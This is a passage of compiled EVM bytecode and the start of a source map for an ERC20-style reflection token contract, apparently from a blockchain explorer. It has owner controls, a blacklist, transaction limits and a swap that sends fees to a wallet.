ffff1673ffffffffffffffffffffffffffffffffffffffff16146114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e9061327a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e906133b3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561164c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164390613445565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b3906134d7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161179a9190612d79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180e90613569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187e906135fb565b60405180910390fd5b600081116118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19061368d565b60405180910390fd5b6118d2610e15565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119405750611910610e15565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d2b57601560149054906101000a900460ff166119cf57611961610e15565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c59061371f565b60405180910390fd5b5b601654811115611a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0b9061378b565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ab85750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aee9061381d565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ba45760175481611b5984610c53565b611b63919061383d565b10611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9a90613905565b60405180910390fd5b5b6000611baf30610c53565b9050600060185482101590506016548210611bca5760165491505b808015611be2575060158054906101000a900460ff16155b8015611c3c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c545750601560169054906101000a900460ff165b8015611caa5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d005750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d2857611d0e82612090565b60004790506000811115611d2657611d2547612384565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dd25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e845750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e93576000905061201a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f3e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f5657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120015750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561201957600a54600c81905550600b54600d819055505b5b612026848484846123f0565b50505050565b6000838311158290612074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206b9190612bb0565b60405180910390fd5b50600083856120839190613925565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c7576120c6613027565b5b6040519080825280602002602001820160405280156120f55781602001602082028036833780820191505090505b509050308160008151811061210d5761210c61329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121af57600080fd5b505afa1580156121c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121e7919061396e565b816001815181106121fb576121fa61329a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061226230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115dc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122c6959493929190613a94565b600060405180830381600087803b1580156122e057600080fd5b505af11580156122f4573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600060065482111561235d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235490613b60565b60405180910390fd5b600061236761241d565b905061237c818461244890919063ffffffff16565b915050919050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123ec573d6000803e3d6000fd5b5050565b806123fe576123fd612492565b5b6124098484846124d5565b80612417576124166126a0565b5b50505050565b600080600061242a6126b4565b91509150612441818361244890919063ffffffff16565b9250505090565b600061248a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612713565b905092915050565b6000600c541480156124a657506000600d54145b156124b0576124d3565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124e787612776565b95509550955095509550955061254586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127de90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262681612886565b6126308483612943565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161268d9190612d79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a764000090506126e8670de0b6b3a764000060065461244890919063ffffffff16565b82101561270657600654670de0b6b3a764000093509350505061270f565b81819350935050505b9091565b6000808311829061275a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127519190612bb0565b60405180910390fd5b50600083856127699190613baf565b9050809150509392505050565b60008060008060008060008060006127938a600c54600d5461297d565b92509250925060006127a361241d565b905060008060006127b68e878787612a13565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061282083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061202c565b905092915050565b6000808284612837919061383d565b90508381101561287c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287390613c2c565b60405180910390fd5b8091505092915050565b600061289061241d565b905060006128a78284612a9c90919063ffffffff16565b90506128fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612958826006546127de90919063ffffffff16565b6006819055506129738160075461282890919063ffffffff16565b6007819055505050565b6000806000806129a9606461299b888a612a9c90919063ffffffff16565b61244890919063ffffffff16565b905060006129d360646129c5888b612a9c90919063ffffffff16565b61244890919063ffffffff16565b905060006129fc826129ee858c6127de90919063ffffffff16565b6127de90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2c8589612a9c90919063ffffffff16565b90506000612a438689612a9c90919063ffffffff16565b90506000612a5a8789612a9c90919063ffffffff16565b90506000612a8382612a7585876127de90919063ffffffff16565b6127de90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aaf5760009050612b11565b60008284612abd9190613c4c565b9050828482612acc9190613baf565b14612b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0390613d18565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b51578082015181840152602081019050612b36565b83811115612b60576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b8282612b17565b612b8c8185612b22565b9350612b9c818560208601612b33565b612ba581612b66565b840191505092915050565b60006020820190508181036000830152612bca8184612b77565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1182612be6565b9050919050565b612c2181612c06565b8114612c2c57600080fd5b50565b600081359050612c3e81612c18565b92915050565b6000819050919050565b612c5781612c44565b8114612c6257600080fd5b50565b600081359050612c7481612c4e565b92915050565b60008060408385031215612c9157612c90612bdc565b5b6000612c9f85828601612c2f565b9250506020612cb085828601612c65565b9150509250929050565b60008115159050919050565b612ccf81612cba565b82525050565b6000602082019050612cea6000830184612cc6565b92915050565b6000819050919050565b6000612d15612d10612d0b84612be6565b612cf0565b612be6565b9050919050565b6000612d2782612cfa565b9050919050565b6000612d3982612d1c565b9050919050565b612d4981612d2e565b82525050565b6000602082019050612d646000830184612d40565b92915050565b612d7381612c44565b82525050565b6000602082019050612d8e6000830184612d6a565b92915050565b60008060008060808587031215612dae57612dad612bdc565b5b6000612dbc87828801612c65565b9450506020612dcd87828801612c65565b9350506040612dde87828801612c65565b9250506060612def87828801612c65565b91505092959194509250565b600080600060608486031215612e1457612e13612bdc565b5b6000612e2286828701612c2f565b9350506020612e3386828701612c2f565b9250506040612e4486828701612c65565b9150509250925092565b612e5781612cba565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b600060208284031215612e9057612e8f612bdc565b5b6000612e9e84828501612e65565b91505092915050565b600060ff82169050919050565b612ebd81612ea7565b82525050565b6000602082019050612ed86000830184612eb4565b92915050565b600060208284031215612ef457612ef3612bdc565b5b6000612f0284828501612c65565b91505092915050565b612f1481612c06565b82525050565b6000602082019050612f2f6000830184612f0b565b92915050565b600060208284031215612f4b57612f4a612bdc565b5b6000612f5984828501612c2f565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612f8757612f86612f62565b5b8235905067ffffffffffffffff811115612fa457612fa3612f67565b5b602083019150836020820283011115612fc057612fbf612f6c565b5b9250929050565b600080600060408486031215612fe057612fdf612bdc565b5b600084013567ffffffffffffffff811115612ffe57612ffd612be1565b5b61300a86828701612f71565b9350935050602061301d86828701612e65565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61305f82612b66565b810181811067ffffffffffffffff8211171561307e5761307d613027565b5b80604052505050565b6000613091612bd2565b905061309d8282613056565b919050565b600067ffffffffffffffff8211156130bd576130bc613027565b5b602082029050602081019050919050565b60006130e16130dc846130a2565b613087565b9050808382526020820190506020840283018581111561310457613103612f6c565b5b835b8181101561312d57806131198882612c2f565b845260208401935050602081019050613106565b5050509392505050565b600082601f83011261314c5761314b612f62565b5b813561315c8482602086016130ce565b91505092915050565b60006020828403121561317b5761317a612bdc565b5b600082013567ffffffffffffffff81111561319957613198612be1565b5b6131a584828501613137565b91505092915050565b600080604083850312156131c5576131c4612bdc565b5b60006131d385828601612c65565b92505060206131e485828601612c65565b9150509250929050565b6000806040838503121561320557613204612bdc565b5b600061321385828601612c2f565b925050602061322485828601612c2f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613264602083612b22565b915061326f8261322e565b602082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061330382612c44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613336576133356132c9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061339d602683612b22565b91506133a882613341565b604082019050919050565b600060208201905081810360008301526133cc81613390565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061342f602483612b22565b915061343a826133d3565b604082019050919050565b6000602082019050818103600083015261345e81613422565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c1602283612b22565b91506134cc82613465565b604082019050919050565b600060208201905081810360008301526134f0816134b4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613553602583612b22565b915061355e826134f7565b604082019050919050565b6000602082019050818103600083015261358281613546565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006135e5602383612b22565b91506135f082613589565b604082019050919050565b60006020820190508181036000830152613614816135d8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613677602983612b22565b91506136828261361b565b604082019050919050565b600060208201905081810360008301526136a68161366a565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613709603f83612b22565b9150613714826136ad565b604082019050919050565b60006020820190508181036000830152613738816136fc565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613775601c83612b22565b91506137808261373f565b602082019050919050565b600060208201905081810360008301526137a481613768565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613807602383612b22565b9150613812826137ab565b604082019050919050565b60006020820190508181036000830152613836816137fa565b9050919050565b600061384882612c44565b915061385383612c44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613888576138876132c9565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006138ef602383612b22565b91506138fa82613893565b604082019050919050565b6000602082019050818103600083015261391e816138e2565b9050919050565b600061393082612c44565b915061393b83612c44565b92508282101561394e5761394d6132c9565b5b828203905092915050565b60008151905061396881612c18565b92915050565b60006020828403121561398457613983612bdc565b5b600061399284828501613959565b91505092915050565b6000819050919050565b60006139c06139bb6139b68461399b565b612cf0565b612c44565b9050919050565b6139d0816139a5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a0b81612c06565b82525050565b6000613a1d8383613a02565b60208301905092915050565b6000602082019050919050565b6000613a41826139d6565b613a4b81856139e1565b9350613a56836139f2565b8060005b83811015613a87578151613a6e8882613a11565b9750613a7983613a29565b925050600181019050613a5a565b5085935050505092915050565b600060a082019050613aa96000830188612d6a565b613ab660208301876139c7565b8181036040830152613ac88186613a36565b9050613ad76060830185612f0b565b613ae46080830184612d6a565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613b4a602a83612b22565b9150613b5582613aee565b604082019050919050565b60006020820190508181036000830152613b7981613b3d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bba82612c44565b9150613bc583612c44565b925082613bd557613bd4613b80565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c16601b83612b22565b9150613c2182613be0565b602082019050919050565b60006020820190508181036000830152613c4581613c09565b9050919050565b6000613c5782612c44565b9150613c6283612c44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c9b57613c9a6132c9565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d02602183612b22565b9150613d0d82613ca6565b604082019050919050565b60006020820190508181036000830152613d3181613cf5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd1cccf11bc7f3b74c7b344ef8d70f45cebec78a66ec4c4410fc7ca6ded0487a64736f6c63430008090033
Deployed Bytecode Sourcemap
4068:13489:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6577:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7598:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5420:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6950:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16519:251;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7799:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12246:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5725:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6763:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16822:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5468:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6855:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12356:236;;;;;;;;;;;;;:::i;:::-;;17013:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7053:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1555:148;;;;;;;;;;;;;:::i;:::-;;5617:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5162:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1341:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5670:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6668:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7199:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12600:236;;;;;;;;;;;;;:::i;:::-;;13023:93;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5124:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17318:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12844:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17161:149;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7406:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1711:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6577:83;6614:13;6647:5;;;;;;;;;;;;;;;;;6640:12;;6577:83;:::o;7598:193::-;7700:4;7722:39;7731:12;:10;:12::i;:::-;7745:7;7754:6;7722:8;:39::i;:::-;7779:4;7772:11;;7598:193;;;;:::o;5420:41::-;;;;;;;;;;;;;:::o;6950:95::-;7003:7;4625:18;7023:14;;6950:95;:::o;16519:251::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16650:8:::1;16633:14;:25;;;;16687:9;16669:15;:27;;;;16722:6;16707:12;:21;;;;16755:7;16739:13;:23;;;;16519:251:::0;;;;:::o;7799:446::-;7931:4;7948:36;7958:6;7966:9;7977:6;7948:9;:36::i;:::-;7995:220;8018:6;8039:12;:10;:12::i;:::-;8066:138;8122:6;8066:138;;;;;;;;;;;;;;;;;:11;:19;8078:6;8066:19;;;;;;;;;;;;;;;:33;8086:12;:10;:12::i;:::-;8066:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7995:8;:220::i;:::-;8233:4;8226:11;;7799:446;;;;;:::o;12246:102::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12328:12:::1;12314:11;;:26;;;;;;;;;;;;;;;;;;12246:102:::0;:::o;5725:50::-;;;;:::o;6763:83::-;6804:5;4299:1;6822:16;;6763:83;:::o;16822:139::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16935:18:::1;16913:19;:40;;;;16822:139:::0;:::o;5468:28::-;;;;;;;;;;;;;:::o;6855:87::-;6895:7;6922:12;;6915:19;;6855:87;:::o;12356:236::-;12422:19;;;;;;;;;;;12406:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12461:17;;;;;;;;;;;12445:33;;:12;:10;:12::i;:::-;:33;;;12406:72;12398:81;;;;;;12490:23;12516:24;12534:4;12516:9;:24::i;:::-;12490:50;;12551:33;12568:15;12551:16;:33::i;:::-;12387:205;12356:236::o;17013:101::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17094:12:::1;17080:11;;:26;;;;;;;;;;;;;;;;;;17013:101:::0;:::o;7053:138::-;7119:7;7146:37;7166:7;:16;7174:7;7166:16;;;;;;;;;;;;;;;;7146:19;:37::i;:::-;7139:44;;7053:138;;;:::o;1555:148::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1662:1:::1;1625:40;;1646:6;::::0;::::1;;;;;;;;1625:40;;;;;;;;;;;;1693:1;1676:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1555:148::o:0;5617:46::-;;;;:::o;5162:43::-;;;;;;;;;;;;;;;;;:::o;1341:79::-;1379:7;1406:6;;;;;;;;;;;1399:13;;1341:79;:::o;5670:48::-;;;;:::o;6668:87::-;6707:13;6740:7;;;;;;;;;;;;;;;;;6733:14;;6668:87;:::o;7199:199::-;7304:4;7326:42;7336:12;:10;:12::i;:::-;7350:9;7361:6;7326:9;:42::i;:::-;7386:4;7379:11;;7199:199;;;;:::o;12600:236::-;12667:19;;;;;;;;;;;12651:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12706:17;;;;;;;;;;;12690:33;;:12;:10;:12::i;:::-;:33;;;12651:72;12643:81;;;;;;12735:26;12764:21;12735:50;;12796:32;12809:18;12796:12;:32::i;:::-;12632:204;12600:236::o;13023:93::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13103:5:::1;13088:4;:12;13093:6;13088:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;13023:93:::0;:::o;5124:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;17318:234::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17435:9:::1;17431:114;17454:8;;:15;;17450:1;:19;17431:114;;;17525:8;17491:18;:31;17510:8;;17519:1;17510:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;17491:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;17471:3;;;;;:::i;:::-;;;;17431:114;;;;17318:234:::0;;;:::o;12844:171::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12922:9:::1;12917:91;12941:5;:12;12937:1;:16;12917:91;;;12992:4;12975;:14;12980:5;12986:1;12980:8;;;;;;;;:::i;:::-;;;;;;;;12975:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;12955:3;;;;;:::i;:::-;;;;12917:91;;;;12844:171:::0;:::o;17161:149::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17255:5:::1;17240:12;:20;;;;17288:4;17271:14;:21;;;;17161:149:::0;;:::o;7406:184::-;7523:7;7555:11;:18;7567:5;7555:18;;;;;;;;;;;;;;;:27;7574:7;7555:27;;;;;;;;;;;;;;;;7548:34;;7406:184;;;;:::o;1711:244::-;1478:12;:10;:12::i;:::-;1468:22;;:6;;;;;;;;;;:22;;;1460:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1820:1:::1;1800:22;;:8;:22;;;;1792:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1910:8;1881:38;;1902:6;::::0;::::1;;;;;;;;1881:38;;;;;;;;;;;;1939:8;1930:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1711:244:::0;:::o;100:98::-;153:7;180:10;173:17;;100:98;:::o;8933:369::-;9077:1;9060:19;;:5;:19;;;;9052:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9158:1;9139:21;;:7;:21;;;;9131:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9240:6;9210:11;:18;9222:5;9210:18;;;;;;;;;;;;;;;:27;9229:7;9210:27;;;;;;;;;;;;;;;:36;;;;9278:7;9262:32;;9271:5;9262:32;;;9287:6;9262:32;;;;;;:::i;:::-;;;;;;;;8933:369;;;:::o;9310:2330::-;9448:1;9432:18;;:4;:18;;;;9424:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9525:1;9511:16;;:2;:16;;;;9503:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9595:1;9586:6;:10;9578:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9667:7;:5;:7::i;:::-;9659:15;;:4;:15;;;;:32;;;;;9684:7;:5;:7::i;:::-;9678:13;;:2;:13;;;;9659:32;9655:1259;;;9748:11;;;;;;;;;;;9743:144;;9796:7;:5;:7::i;:::-;9788:15;;:4;:15;;;9780:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9743:144;9921:12;;9911:6;:22;;9903:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9990:4;:10;9995:4;9990:10;;;;;;;;;;;;;;;;;;;;;;;;;9989:11;:24;;;;;10005:4;:8;10010:2;10005:8;;;;;;;;;;;;;;;;;;;;;;;;;10004:9;9989:24;9981:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10079:13;;;;;;;;;;;10073:19;;:2;:19;;;10070:146;;10146:14;;10137:6;10121:13;10131:2;10121:9;:13::i;:::-;:22;